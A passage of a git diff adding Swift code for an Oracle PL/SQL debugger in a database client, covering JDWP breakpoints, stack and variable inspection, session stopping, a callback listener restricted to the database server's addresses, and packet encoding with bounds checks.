+                await clearEntryRequests()
+            }
+            guard let resolved = await resolve(location) else {
+                // Our own anonymous block, or code with no source to show: run on.
+                try await resume()
+                continue
+            }
+            state = .paused
+            return .paused(resolved)
+        }
+    }
+
+    private func conclude() async -> OracleDebugStop {
+        if stopRequested {
+            return await outcomeOfStop()
+        }
+        let result: Result<[String?], Error>?
+        if let call {
+            result = await OracleDebugSupport.value(of: call, within: OracleDebugStopBudget.seconds(callEndWait))
+        } else {
+            result = .failure(OracleDebugError.ended)
+        }
+        let stop = await OracleDebugSupport.conclude(
+            result,
+            stopped: stopRequested,
+            entryPoint: entryPoint,
+            target: target,
+            targetIdentity: targetIdentity
+        ) { [noticeContinuation] in noticeContinuation.yield($0) }
+        state = .ended
+        // Closing ends the target session, so it waits until the commit or rollback is done.
+        await connection.close()
+        noticeContinuation.finish()
+        return stop
+    }
+
+    // MARK: - Classes and lines
+
+    // A unit the target ran before CONNECT_TCP (a logon trigger, the connection's startup commands) is already loaded,
+    // and no CLASS_PREPARE announces it.
+    private func adoptIfLoaded(_ unit: OracleDebugUnit) async {
+        guard let id = await loadedClass(unit) else { return }
+        await prepared(typeID: id, signature: unit.jdwpSignature)
+    }
+
+    private func prepared(typeID: UInt64, signature: String) async {
+        guard !preparedClasses.contains(typeID) else { return }
+        preparedClasses.insert(typeID)
+        let unit = OracleDebugUnit(jdwpSignature: signature)
+        classes[typeID] = ClassInfo(id: typeID, unit: unit)
+        guard let unit else { return }
+        classIDs[unit] = typeID
+        if unit == entryPoint.entry.unit {
+            await installEntryBreakpoints(classID: typeID)
+        }
+        for key in pending where key.unit == unit {
+            pending.remove(key)
+            if let placedLine = try? await place(key.line, in: unit, classID: typeID) {
+                if placedLine != key.line {
+                    holds.move(key.line, to: placedLine, in: unit)
+                    noticeContinuation.yield(.breakpointMoved(unit: unit, from: key.line, to: placedLine))
+                }
+            } else {
+                holds.drop(key.line, in: unit)
+                noticeContinuation.yield(.breakpointHasNoCode(unit: unit, line: key.line))
+            }
+        }
+    }
+
+    // Every overload with the entry point's name: the anonymous block calls only the one asked for, so the first hit
+    // is it. The first code index is the subprogram's header line, where DBMS_DEBUG stops on entry as well.
+    private func installEntryBreakpoints(classID: UInt64) async {
+        guard let methods = try? await methods(of: classID) else { return }
+        for method in methods where method.name == entryPoint.entry.subprogram {
+            guard let table = try? await lineTable(classID: classID, methodID: method.id),
+                  let first = table.entries.first else { continue }
+            let location = OracleJDWPLocation(classID: classID, methodID: method.id, index: first.index)
+            if let request = try? await setBreakpointRequest(at: location) {
+                entryRequests.insert(request)
+            }
+        }
+    }
+
+    private func clearEntryRequests() async {
+        let requests = entryRequests.subtracting(placed.values)
+        entryRequests.removeAll()
+        for request in requests {
+            _ = try? await connection.send(
+                OracleJDWPCommand.eventRequest,
+                OracleJDWPCommand.clear,
+                OracleJDWPRequest.clear(kind: .breakpoint, requestID: request, sizes: sizes)
+            )
+        }
+    }
+
+    private func methods(of classID: UInt64) async throws -> [OracleJDWPMethod] {
+        if let methods = classes[classID]?.methods { return methods }
+        let reply = try await connection.send(
+            OracleJDWPCommand.referenceType,
+            OracleJDWPCommand.methods,
+            idData(classID, .referenceType)
+        )
+        let methods = try OracleJDWPMethod.decodeList(reply, sizes: sizes)
+        classes[classID]?.methods = methods
+        return methods
+    }
+
+    private func lineTable(classID: UInt64, methodID: UInt64) async throws -> OracleJDWPLineTable {
+        if let table = classes[classID]?.lineTables[methodID] { return table }
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.id(classID, .referenceType)
+        writer.id(methodID, .method)
+        let reply = try await connection.send(OracleJDWPCommand.method, OracleJDWPCommand.lineTable, writer.data)
+        let table = try OracleJDWPLineTable.decode(reply, sizes: sizes)
+        classes[classID]?.lineTables[methodID] = table
+        return table
+    }
+
+    private func idData(_ id: UInt64, _ kind: OracleJDWPIDKind) -> Data {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.id(id, kind)
+        return writer.data
+    }
+
+    // Only a unit's own classes are read: asking for the line table of a local collection type's method ended the
+    // target with ORA-00600 [kgamgub4_1] on 23.26 (measured).
+    private func classInfo(_ classID: UInt64) async -> ClassInfo {
+        if let info = classes[classID] { return info }
+        var unit: OracleDebugUnit?
+        if var reader = try? OracleJDWPReader(
+            await connection.send(OracleJDWPCommand.referenceType, OracleJDWPCommand.signature, idData(classID, .referenceType)),
+            sizes: sizes
+        ), let signature = try? reader.string() {
+            unit = OracleDebugUnit(jdwpSignature: signature)
+        }
+        let info = ClassInfo(id: classID, unit: unit)
+        classes[classID] = info
+        if let unit { classIDs[unit] = classID }
+        return info
+    }
+
+    private func resolve(_ location: OracleJDWPLocation) async -> OracleDebugLocation? {
+        guard let unit = await classInfo(location.classID).unit,
+              let table = try? await lineTable(classID: location.classID, methodID: location.methodID),
+              let line = table.line(at: location.index) else { return nil }
+        return OracleDebugLocation(unit: unit, line: line)
+    }
+
+    private func place(_ line: Int, in unit: OracleDebugUnit, classID: UInt64) async throws -> Int? {
+        var best: (location: OracleJDWPLocation, line: Int, covers: Bool)?
+        for method in try await methods(of: classID) {
+            guard let table = try? await lineTable(classID: classID, methodID: method.id),
+                  let candidate = table.location(atOrAfter: line) else { continue }
+            let covers = table.covers(line: line)
+            let location = OracleJDWPLocation(classID: classID, methodID: method.id, index: candidate.index)
+            if let current = best {
+                if current.covers && !covers { continue }
+                if covers == current.covers && candidate.line >= current.line { continue }
+            }
+            best = (location, candidate.line, covers)
+        }
+        guard let best else { return nil }
+        let key = BreakpointKey(unit: unit, line: best.line)
+        if placed[key] == nil {
+            placed[key] = try await setBreakpointRequest(at: best.location)
+        }
+        return best.line
+    }
+
+    private func setBreakpointRequest(at location: OracleJDWPLocation) async throws -> Int32 {
+        var reader = OracleJDWPReader(
+            try await connection.send(
+                OracleJDWPCommand.eventRequest,
+                OracleJDWPCommand.set,
+                OracleJDWPRequest.breakpoint(at: location, sizes: sizes)
+            ),
+            sizes: sizes
+        )
+        return try reader.i32()
+    }
+
+    // MARK: - Breakpoints
+
+    public func setBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int? {
+        try await setBreakpoint(in: unit, line: line, atStart: false)
+    }
+
+    private func setBreakpoint(in unit: OracleDebugUnit, line: Int, atStart: Bool) async throws -> Int? {
+        guard state != .ended else { throw OracleDebugError.ended }
+        guard let landed = try await guarded({ try await placeBreakpoint(in: unit, line: line) }) else { return nil }
+        holds.hold(landed, in: unit, by: atStart ? line : landed)
+        return landed
+    }
+
+    private func placeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int? {
+        if classIDs[unit] == nil {
+            await adoptIfLoaded(unit)
+        }
+        if let classID = classIDs[unit] {
+            return try await place(line, in: unit, classID: classID)
+        }
+        // Not loaded yet: DBMS_DEBUG's line map answers for it, and the line table places it once the class loads.
+        guard let lines = try await OracleDebugSupport.executableLines(of: unit, on: helper),
+              let resolved = lines.first(where: { $0 >= line }) else { return nil }
+        pending.insert(BreakpointKey(unit: unit, line: resolved))
+        try await requestPrepare(of: unit)
+        return resolved
+    }
+
+    public func removeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws {
+        guard let landed = holds.release(line, in: unit) else { return }
+        let key = BreakpointKey(unit: unit, line: landed)
+        pending.remove(key)
+        guard let request = placed.removeValue(forKey: key) else { return }
+        do {
+            try await guarded {
+                _ = try await connection.send(
+                    OracleJDWPCommand.eventRequest,
+                    OracleJDWPCommand.clear,
+                    OracleJDWPRequest.clear(kind: .breakpoint, requestID: request, sizes: sizes)
+                )
+            }
+        } catch {
+            // Still set in the VM, so removing it again has to find it.
+            holds.hold(landed, in: unit, by: line)
+            placed[key] = request
+            throw error
+        }
+    }
+
+    // MARK: - Inspection
+
+    public func source(of unit: OracleDebugUnit) async throws -> String {
+        try await guarded { try await OracleDebugSupport.source(of: unit, on: helper) }
+    }
+
+    public func stack() async throws -> [OracleDebugFrame] {
+        guard state == .paused else { throw OracleDebugError.notPaused }
+        try await guarded { try await loadFrames() }
+        return frames.enumerated().map { level, frame in
+            OracleDebugFrame(level: level, location: frame.resolved, subprogram: frame.method?.name)
+        }
+    }
+
+    private func loadFrames() async throws {
+        guard frames.isEmpty else { return }
+        var reader = try await send(OracleJDWPCommand.threadReference, OracleJDWPCommand.frames) { writer in
+            writer.id(thread, .object)
+            writer.i32(0)
+            writer.i32(-1)
+        }
+        let count = try reader.count(minimumSize: sizes.frame + 1 + sizes.referenceType + sizes.method + 8)
+        var loaded: [FrameInfo] = []
+        for _ in 0..<count {
+            let id = try reader.id(.frame)
+            let location = try reader.location()
+            // The anonymous blocks below the entry point have no source and no readable slots (error 35).
+            guard let resolved = await resolve(location) else { continue }
+            let method = classes[location.classID]?.methods?.first { $0.id == location.methodID }
+            loaded.append(FrameInfo(id: id, location: location, resolved: resolved, method: method))
+        }
+        frames = loaded
+    }
+
+    public func variables(inFrame level: Int) async throws -> [OracleDebugVariable] {
+        guard state == .paused else { throw OracleDebugError.notPaused }
+        return try await guarded { try await readVariables(inFrame: level) }
+    }
+
+    private func readVariables(inFrame level: Int) async throws -> [OracleDebugVariable] {
+        try await loadFrames()
+        guard frames.indices.contains(level) else { return [] }
+        let frame = frames[level]
+        let table = try await variableTable(classID: frame.location.classID, methodID: frame.location.methodID)
+        let visible = table.filter { $0.isUserVariable && $0.isVisible(at: frame.location.index) }
+        let values = try await Self.readSlots(visible) { variables in
+            try await slotValues(variables, frame: frame)
+        }
+        var result: [OracleDebugVariable] = []
+        for (variable, value) in zip(visible, values) {
+            var described = OracleDebugValue.unavailable
+            if let value {
+                described = await describe(value)
+            }
+            result.append(OracleDebugVariable(
+                name: variable.name,
+                kind: variable.isArgument ? .argument : .local,
+                typeName: OracleDebugUnit.typeName(fromJDWPSignature: variable.signature),
+                value: described,
+                isConstant: false
+            ))
+        }
+        return result + (await packageVariables(of: frame.resolved.unit))
+    }
+
+    // One unreadable slot (INVALID_SLOT 35, say) fails the whole request; then each is read alone and the unreadable
+    // one is left out.
+    static func readSlots<Variable: Sendable>(
+        isolation: isolated (any Actor)? = #isolation,
+        _ variables: [Variable],
+        read: ([Variable]) async throws -> [OracleJDWPValue?]
+    ) async throws -> [OracleJDWPValue?] {
+        do {
+            return try await read(variables)
+        } catch OracleJDWPError.reply {
+            var values: [OracleJDWPValue?] = []
+            for variable in variables {
+                values.append((try? await read([variable]))?.first ?? nil)
+            }
+            return values
+        }
+    }
+
+    private func slotValues(_ variables: [OracleJDWPVariable], frame: FrameInfo) async throws -> [OracleJDWPValue?] {
+        guard !variables.isEmpty else { return [] }
+        var reader = try await send(OracleJDWPCommand.stackFrame, OracleJDWPCommand.frameValues) { writer in
+            writer.id(thread, .object)
+            writer.id(frame.id, .frame)
+            writer.i32(Int32(variables.count))
+            for variable in variables {
+                writer.i32(Int32(variable.slot))
+                writer.u8(variable.signature.utf8.first ?? OracleJDWPValue.objectTag)
+            }
+        }
+        let count = try reader.count(minimumSize: 1)
+        var values: [OracleJDWPValue?] = []
+        for _ in 0..<min(count, variables.count) {
+            values.append(try reader.taggedValue())
+        }
+        return values + Array(repeating: nil, count: variables.count - values.count)
+    }
+
+    private func variableTable(classID: UInt64, methodID: UInt64) async throws -> [OracleJDWPVariable] {
+        let key = MethodKey(classID: classID, methodID: methodID)
+        if let table = variableTables[key] { return table }
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.id(classID, .referenceType)
+        writer.id(methodID, .method)
+        let reply = try await connection.send(OracleJDWPCommand.method, OracleJDWPCommand.variableTable, writer.data)
+        let table = try OracleJDWPVariable.decodeTable(reply, sizes: sizes)
+        variableTables[key] = table
+        return table
+    }
+
+    // The body's and the specification's package-level variables are their classes' static fields.
+    private func packageVariables(of unit: OracleDebugUnit) async -> [OracleDebugVariable] {
+        guard unit.kind == .packageBody || unit.kind == .package else { return [] }
+        var result: [OracleDebugVariable] = []
+        for kind in [OracleDebugUnitKind.packageBody, .package] {
+            let owner = OracleDebugUnit(owner: unit.owner, name: unit.name, kind: kind)
+            guard let classID = await loadedClass(owner),
+                  let fields = try? await fields(of: classID) else { continue }
+            let statics = fields.filter { $0.isStatic && !$0.name.hasPrefix("_") }
+            guard !statics.isEmpty, var reader = try? await send(OracleJDWPCommand.referenceType, OracleJDWPCommand.staticValues, { writer in
+                writer.id(classID, .referenceType)
+                writer.i32(Int32(statics.count))
+                for field in statics { writer.id(field.id, .field) }
+            }), let count = try? reader.count(minimumSize: 1) else { continue }
+            for field in statics.prefix(count) {
+                guard let value = try? reader.taggedValue() else { break }
+                result.append(OracleDebugVariable(
+                    name: field.name,
+                    kind: .package,
+                    typeName: OracleDebugUnit.typeName(fromJDWPSignature: field.signature),
+                    value: await describe(value),
+                    isConstant: false
+                ))
+            }
+        }
+        return result
+    }
+
+    private func loadedClass(_ unit: OracleDebugUnit) async -> UInt64? {
+        if let id = classIDs[unit] { return id }
+        guard var reader = try? await send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.classesBySignature, { writer in
+            writer.string(unit.jdwpSignature)
+        }), let count = try? reader.count(minimumSize: 1 + sizes.referenceType + 4), count > 0 else { return nil }
+        _ = try? reader.u8()
+        guard let id = try? reader.id(.referenceType) else { return nil }
+        classIDs[unit] = id
+        if classes[id] == nil { classes[id] = ClassInfo(id: id, unit: unit) }
+        return id
+    }
+
+    private func fields(of typeID: UInt64) async throws -> [OracleJDWPField] {
+        if let fields = fieldCache[typeID] { return fields }
+        let reply = try await connection.send(OracleJDWPCommand.referenceType, OracleJDWPCommand.fields, idData(typeID, .referenceType))
+        let fields = try OracleJDWPField.decodeList(reply, sizes: sizes)
+        fieldCache[typeID] = fields
+        return fields
+    }
+
+    private func describe(_ value: OracleJDWPValue, depth: Int = 0) async -> OracleDebugValue {
+        guard let objectID = value.objectID else { return .unavailable }
+        guard objectID != 0 else { return .scalar(nil) }
+        guard var typeReader = try? await send(OracleJDWPCommand.objectReference, OracleJDWPCommand.objectReferenceType, { writer in
+            writer.id(objectID, .object)
+        }), (try? typeReader.u8()) != nil, let typeID = try? typeReader.id(.referenceType),
+              let fields = try? await fields(of: typeID) else { return .unavailable }
+        switch OracleDebugValueShape(fields: fields) {
+        case .scalar(let field):
+            guard let values = try? await objectValues(objectID, fields: [field]), let text = values.first else {
+                return .unavailable
+            }
+            return .scalar(await string(text))
+        case .record(let members):
+            guard depth == 0, let values = try? await objectValues(objectID, fields: members.map(\.id)) else {
+                return .record([])
+            }
+            var described: [OracleDebugRecordMember] = []
+            for (member, memberValue) in zip(members, values) {
+                if case .scalar(let text) = await describe(memberValue, depth: depth + 1) {
+                    described.append(OracleDebugRecordMember(name: member.name, value: text))
+                }
+            }
+            return .record(described)
+        case .collection(let field):
+            guard let values = try? await objectValues(objectID, fields: [field]),
+                  let arrayID = values.first?.objectID, arrayID != 0,
+                  var reader = try? await send(OracleJDWPCommand.arrayReference, OracleJDWPCommand.arrayLength, { writer in
+                      writer.id(arrayID, .object)
+                  }), let length = try? reader.i32(), length >= 0 else { return .collection(count: nil) }
+            return .collection(count: Int(length))
+        case .opaque:
+            return .unavailable
+        }
+    }
+
+    private func objectValues(_ objectID: UInt64, fields: [UInt64]) async throws -> [OracleJDWPValue] {
+        var reader = try await send(OracleJDWPCommand.objectReference, OracleJDWPCommand.objectValues) { writer in
+            writer.id(objectID, .object)
+            writer.i32(Int32(fields.count))
+            for field in fields { writer.id(field, .field) }
+        }
+        let count = try reader.count(minimumSize: 1)
+        var values: [OracleJDWPValue] = []
+        for _ in 0..<count {
+            values.append(try reader.taggedValue())
+        }
+        return values
+    }
+
+    private func string(_ value: OracleJDWPValue) async -> String? {
+        guard let id = value.objectID, id != 0,
+              var reader = try? await send(OracleJDWPCommand.stringReference, OracleJDWPCommand.stringValue, { writer in
+                  writer.id(id, .object)
+              }) else { return nil }
+        return try? reader.string()
+    }
+
+    // MARK: - Stop
+
+    // Closing the socket without Dispose ends the target session in any state: ORA-30687 within a second while it
+    // was running a loop, and while paused (measured). The server rolls its transaction back with it.
+    // Closing the socket first fails every reply still awaited, so a read or breakpoint call Stop overlaps throws at
+    // once, and it ends the target: PL/SQL sees the close and ends with ORA-30687 within a second (measured).
+    public func stop() async -> OracleDebugStopResult {
+        if stopRequested {
+            if !isStopped {
+                await withCheckedContinuation { stopWaiters.append($0) }
+            }
+            return stopResult
+        }
+        stopRequested = true
+        await connection.close()
+        if let call {
+            let clock = ContinuousClock()
+            let deadline = clock.now.advanced(by: OracleDebugStopBudget.total - OracleDebugStopBudget.cleanup)
+            // A call that never returns to PL/SQL (DBMS_SESSION.SLEEP, measured) does not see the close, so it is
+            // killed from the helper session, as is one whose own connection failed under it.
+            var ended = await OracleDebugSupport.endedOnServer(call, within: 1)
+            if !ended {
+                ended = await OracleDebugStopBudget.endRunningTarget(clock: clock, budget: clock.now.duration(to: deadline)) {
+                    await OracleDebugSupport.kill(
+                        targetIdentity,
+                        from: helper,
+                        within: OracleDebugStopBudget.seconds(clock.now.duration(to: deadline))
+                    )
+                } waitForEnd: { remaining in
+                    await OracleDebugSupport.endedOnServer(call, within: OracleDebugStopBudget.seconds(remaining))
+                }
+            }
+            if !ended {
+                gaveUp = true
+                target.cancelCurrentQuery()
+            }
+            stopResult = ended ? .ended : .unconfirmed(targetIdentity)
+        } else {
+            // Before the routine ran the target held no work; the closed socket ends its session.
+            _ = await OracleDebugSupport.value(of: connectCall, within: 1)
+            stopResult = .ended
+        }
+        state = .ended
+        post(.connectionClosed)
+        pump?.cancel()
+        noticeContinuation.finish()
+        isStopped = true
+        let waiters = stopWaiters
+        stopWaiters.removeAll()
+        for waiter in waiters {
+            waiter.resume()
+        }
+        return stopResult
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPListener.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPListener.swift
new file mode 100644
index 0000000000..8b2bde323e
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPListener.swift
@@ -0,0 +1,275 @@
+import Foundation
+import Network
+import os
+import OSLog
+
+private let logger = Logger(subsystem: "com.TablePro", category: "OracleJDWPListener")
+
+public enum OracleJDWPListenerError: Error, Sendable, Equatable {
+    case noFreePort(ClosedRange<UInt16>)
+    // `rejected` lists the addresses that connected and were not the database server's.
+    case timedOut(rejected: [String])
+    case cancelled
+}
+
+// Waits for the database to connect back. It binds the given local addresses on one random port of the range,
+// accepts only peers from the database server's addresses, gives each two seconds to send the JDWP handshake, and
+// keeps the first that does: every other connection closes and the listener stops.
+public final class OracleJDWPListener: @unchecked Sendable {
+    public let port: UInt16
+    private let listeners: [NWListener]
+    private let queue: DispatchQueue
+    private let allowedPeers: Set<String>?
+    private let state = OSAllocatedUnfairLock(initialState: State())
+
+    // NWConnection is Sendable only from macOS 14; it is thread-safe on every release this runs on.
+    private struct Peer: @unchecked Sendable {
+        let connection: NWConnection
+    }
+
+    private struct State {
+        var peers: [ObjectIdentifier: Peer] = [:]
+        var rejected: [String] = []
+        var result: Result<OracleJDWPConnection, Error>?
+        var waiter: CheckedContinuation<OracleJDWPConnection, Error>?
+        var isFinished = false
+    }
+
+    static let handshakeSeconds: Double = 2
+    static let portAttempts = 64
+
+    private init(port: UInt16, listeners: [NWListener], queue: DispatchQueue, allowedPeers: Set<String>?) {
+        self.port = port
+        self.listeners = listeners
+        self.queue = queue
+        self.allowedPeers = allowedPeers
+    }
+
+    // `allowedPeers` nil accepts any address; `bindAddresses` nil listens on every interface.
+    public static func open(
+        ports: ClosedRange<UInt16>,
+        bindAddresses: [String]?,
+        allowedPeers: Set<String>?
+    ) async throws -> OracleJDWPListener {
+        for port in ports.shuffled().prefix(portAttempts) {
+            if let listener = await bind(port: port, addresses: bindAddresses, allowedPeers: allowedPeers) {
+                return listener
+            }
+        }
+        throw OracleJDWPListenerError.noFreePort(ports)
+    }
+
+    private static func bind(port: UInt16, addresses: [String]?, allowedPeers: Set<String>?) async -> OracleJDWPListener? {
+        guard let endpointPort = NWEndpoint.Port(rawValue: port) else { return nil }
+        var made: [NWListener] = []
+        for address in addresses ?? [] {
+            let parameters = NWParameters.tcp
+            // The required local endpoint carries the port; naming it again in `on:` fails the listener.
+            parameters.requiredLocalEndpoint = .hostPort(host: NWEndpoint.Host(address), port: endpointPort)
+            guard let listener = try? NWListener(using: parameters) else { return nil }
+            made.append(listener)
+        }
+        if addresses == nil {
+            guard let listener = try? NWListener(using: .tcp, on: endpointPort) else { return nil }
+            made.append(listener)
+        }
+        guard !made.isEmpty else { return nil }
+        let queue = DispatchQueue(label: "com.TablePro.OracleJDWPListener.\(port)")
+        let instance = OracleJDWPListener(port: port, listeners: made, queue: queue, allowedPeers: allowedPeers)
+        for listener in made {
+            listener.newConnectionHandler = { [weak instance] peer in
+                guard let instance else {
+                    peer.cancel()
+                    return
+                }
+                instance.arrived(peer)
+            }
+        }
+        for listener in made {
+            guard await start(listener, on: queue) else {
+                for other in made {
+                    other.cancel()
+                }
+                return nil
+            }
+        }
+        return instance
+    }
+
+    private static func start(_ listener: NWListener, on queue: DispatchQueue) async -> Bool {
+        await withCheckedContinuation { (result: CheckedContinuation<Bool, Never>) in
+            let resumed = OSAllocatedUnfairLock(initialState: false)
+            let resume: @Sendable (Bool) -> Void = { value in
+                let first = resumed.withLock { done -> Bool in
+                    defer { done = true }
+                    return !done
+                }
+                if first { result.resume(returning: value) }
+            }
+            listener.stateUpdateHandler = { state in
+                switch state {
+                case .ready: resume(true)
+                case .failed, .cancelled: resume(false)
+                default: break
+                }
+            }
+            listener.start(queue: queue)
+        }
+    }
+
+    public var rejectedPeers: [String] {
+        state.withLock { $0.rejected }
+    }
+
+    private func arrived(_ peer: NWConnection) {
+        let address = Self.address(of: peer.endpoint)
+        let admitted = state.withLock { current -> Bool in
+            guard !current.isFinished else { return false }
+            if let allowedPeers, !allowedPeers.contains(address ?? "") {
+                current.rejected.append(address ?? String(describing: peer.endpoint))
+                return false
+            }
+            current.peers[ObjectIdentifier(peer)] = Peer(connection: peer)
+            return true
+        }
+        guard admitted else {
+            logger.notice("Closed a debugger connection from an address that is not the database server's")
+            peer.cancel()
+            return
+        }
+        Task { await self.handshake(peer) }
+    }
+
+    private func handshake(_ peer: NWConnection) async {
+        let ready = (try? await withOracleTimeout(seconds: Self.handshakeSeconds, onTimeout: { peer.cancel() }) {
+            await self.start(peer)
+        }) ?? false
+        guard ready else {
+            drop(peer)
+            return
+        }
+        let connection = OracleJDWPConnection(transport: OracleJDWPNetworkTransport(connection: peer))
+        do {
+            try await withOracleTimeout(seconds: Self.handshakeSeconds, onTimeout: { peer.cancel() }) {
+                try await connection.handshake()
+            }
+        } catch {
+            await connection.close()
+            drop(peer)
+            return
+        }
+        await claim(connection, peer: peer)
+    }
+
+    private func start(_ peer: NWConnection) async -> Bool {
+        await withCheckedContinuation { (result: CheckedContinuation<Bool, Never>) in
+            let resumed = OSAllocatedUnfairLock(initialState: false)
+            let resume: @Sendable (Bool) -> Void = { value in
+                let first = resumed.withLock { done -> Bool in
+                    defer { done = true }
+                    return !done
+                }
+                if first { result.resume(returning: value) }
+            }
+            peer.stateUpdateHandler = { state in
+                switch state {
+                case .ready: resume(true)
+                case .failed, .cancelled: resume(false)
+                default: break
+                }
+            }
+            peer.start(queue: queue)
+        }
+    }
+
+    private func drop(_ peer: NWConnection) {
+        state.withLock { _ = $0.peers.removeValue(forKey: ObjectIdentifier(peer)) }
+        peer.cancel()
+    }
+
+    private func claim(_ connection: OracleJDWPConnection, peer: NWConnection) async {
+        let claimed = state.withLock { current -> (others: [Peer], waiter: CheckedContinuation<OracleJDWPConnection, Error>?)? in
+            guard !current.isFinished else { return nil }
+            current.isFinished = true
+            current.peers.removeValue(forKey: ObjectIdentifier(peer))
+            let others = Array(current.peers.values)
+            current.peers.removeAll()
+            let waiter = current.waiter
+            current.waiter = nil
+            if waiter == nil { current.result = .success(connection) }
+            return (others, waiter)
+        }
+        guard let claimed else {
+            await connection.close()
+            return
+        }
+        cancelListeners()
+        for other in claimed.others {
+            other.connection.cancel()
+        }
+        claimed.waiter?.resume(returning: connection)
+    }
+
+    private func finish(with error: Error) {
+        let ended = state.withLock { current -> (others: [Peer], waiter: CheckedContinuation<OracleJDWPConnection, Error>?)? in
+            guard !current.isFinished else { return nil }
+            current.isFinished = true
+            let others = Array(current.peers.values)
+            current.peers.removeAll()
+            let waiter = current.waiter
+            current.waiter = nil
+            if waiter == nil { current.result = .failure(error) }
+            return (others, waiter)
+        }
+        cancelListeners()
+        guard let ended else { return }
+        for other in ended.others {
+            other.connection.cancel()
+        }
+        ended.waiter?.resume(throwing: error)
+    }
+
+    public func accept(timeout: Duration) async throws -> OracleJDWPConnection {
+        let timer = Task { [weak self] in
+            guard (try? await Task.sleep(for: timeout)) != nil, let self else { return }
+            finish(with: OracleJDWPListenerError.timedOut(rejected: rejectedPeers))
+        }
+        defer { timer.cancel() }
+        return try await withTaskCancellationHandler {
+            try await withCheckedThrowingContinuation { (continuation: CheckedContinuation<OracleJDWPConnection, Error>) in
+                let ready = state.withLock { current -> Result<OracleJDWPConnection, Error>? in
+                    if let result = current.result {
+                        current.result = nil
+                        return result
+                    }
+                    if current.isFinished { return .failure(OracleJDWPListenerError.cancelled) }
+                    current.waiter = continuation
+                    return nil
+                }
+                if let ready { continuation.resume(with: ready) }
+            }
+        } onCancel: {
+            finish(with: CancellationError())
+        }
+    }
+
+    public func cancel() {
+        finish(with: OracleJDWPListenerError.cancelled)
+    }
+
+    private func cancelListeners() {
+        for listener in listeners {
+            listener.cancel()
+        }
+    }
+
+    static func address(of endpoint: NWEndpoint) -> String? {
+        guard case let .hostPort(host, _) = endpoint else { return nil }
+        switch host {
+        case .ipv4(let address): return OracleDebugNetwork.normalized("\(address)")
+        case .ipv6(let address): return OracleDebugNetwork.normalized("\(address)")
+        case .name(let name, _): return OracleDebugNetwork.normalized(name)
+        @unknown default: return nil
+        }
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPPacket.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPPacket.swift
new file mode 100644
index 0000000000..c40d1f71ad
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPPacket.swift
@@ -0,0 +1,444 @@
+import Foundation
+
+public struct OracleJDWPIDSizes: Sendable, Equatable {
+    public var field: Int
+    public var method: Int
+    public var object: Int
+    public var referenceType: Int
+    public var frame: Int
+
+    public init(field: Int, method: Int, object: Int, referenceType: Int, frame: Int) {
+        self.field = field
+        self.method = method
+        self.object = object
+        self.referenceType = referenceType
+        self.frame = frame
+    }
+
+    // Measured on 23.26: 4, 4, 4, 4, 8.
+    public static let oracle = OracleJDWPIDSizes(field: 4, method: 4, object: 4, referenceType: 4, frame: 8)
+
+    // The peer chooses these; an ID wider than 8 bytes cannot be held, and a zero-width one is no ID.
+    public static func validated(field: Int32, method: Int32, object: Int32, referenceType: Int32, frame: Int32) throws
+        -> OracleJDWPIDSizes {
+        let widths = [field, method, object, referenceType, frame].map(Int.init)
+        guard widths.allSatisfy({ (1...8).contains($0) }) else { throw OracleJDWPError.malformedPacket }
+        return OracleJDWPIDSizes(field: widths[0], method: widths[1], object: widths[2], referenceType: widths[3], frame: widths[4])
+    }
+}
+
+public enum OracleJDWPIDKind: Sendable {
+    case field
+    case method
+    case object
+    case referenceType
+    case frame
+}
+
+extension OracleJDWPIDSizes {
+    func size(of kind: OracleJDWPIDKind) -> Int {
+        switch kind {
+        case .field: return field
+        case .method: return method
+        case .object: return object
+        case .referenceType: return referenceType
+        case .frame: return frame
+        }
+    }
+}
+
+public enum OracleJDWPError: Error, Sendable, Equatable {
+    case truncated
+    case malformedPacket
+    case handshakeFailed
+    case closed
+    case reply(code: Int)
+    case timedOut
+    case unexpectedEvent
+}
+
+public struct OracleJDWPWriter: Sendable {
+    public private(set) var data = Data()
+    let sizes: OracleJDWPIDSizes
+
+    public init(sizes: OracleJDWPIDSizes) {
+        self.sizes = sizes
+    }
+
+    public mutating func u8(_ value: UInt8) {
+        data.append(value)
+    }
+
+    public mutating func i32(_ value: Int32) {
+        withUnsafeBytes(of: value.bigEndian) { data.append(contentsOf: $0) }
+    }
+
+    public mutating func i64(_ value: Int64) {
+        withUnsafeBytes(of: value.bigEndian) { data.append(contentsOf: $0) }
+    }
+
+    public mutating func string(_ value: String) {
+        let bytes = Array(value.utf8)
+        i32(Int32(bytes.count))
+        data.append(contentsOf: bytes)
+    }
+
+    public mutating func id(_ value: UInt64, _ kind: OracleJDWPIDKind) {
+        let width = min(max(sizes.size(of: kind), 1), 8)
+        for shift in stride(from: (width - 1) * 8, through: 0, by: -8) {
+            data.append(UInt8(truncatingIfNeeded: value >> UInt64(shift)))
+        }
+    }
+
+    public mutating func location(_ location: OracleJDWPLocation) {
+        u8(location.typeTag)
+        id(location.classID, .referenceType)
+        id(location.methodID, .method)
+        i64(location.index)
+    }
+}
+
+public struct OracleJDWPReader: Sendable {
+    private let bytes: [UInt8]
+    private var offset = 0
+    let sizes: OracleJDWPIDSizes
+
+    public init(_ data: Data, sizes: OracleJDWPIDSizes) {
+        self.bytes = Array(data)
+        self.sizes = sizes
+    }
+
+    public var isAtEnd: Bool { offset >= bytes.count }
+
+    public var remaining: Int { max(bytes.count - offset, 0) }
+
+    // A count the peer sent, before a loop runs on it: never negative, and never more elements than the bytes left
+    // could hold at `minimumSize` bytes each.
+    public mutating func count(minimumSize: Int) throws -> Int {
+        let count = Int(try i32())
+        guard count >= 0, count <= remaining / max(minimumSize, 1) else { throw OracleJDWPError.malformedPacket }
+        return count
+    }
+
+    private mutating func take(_ count: Int) throws -> ArraySlice<UInt8> {
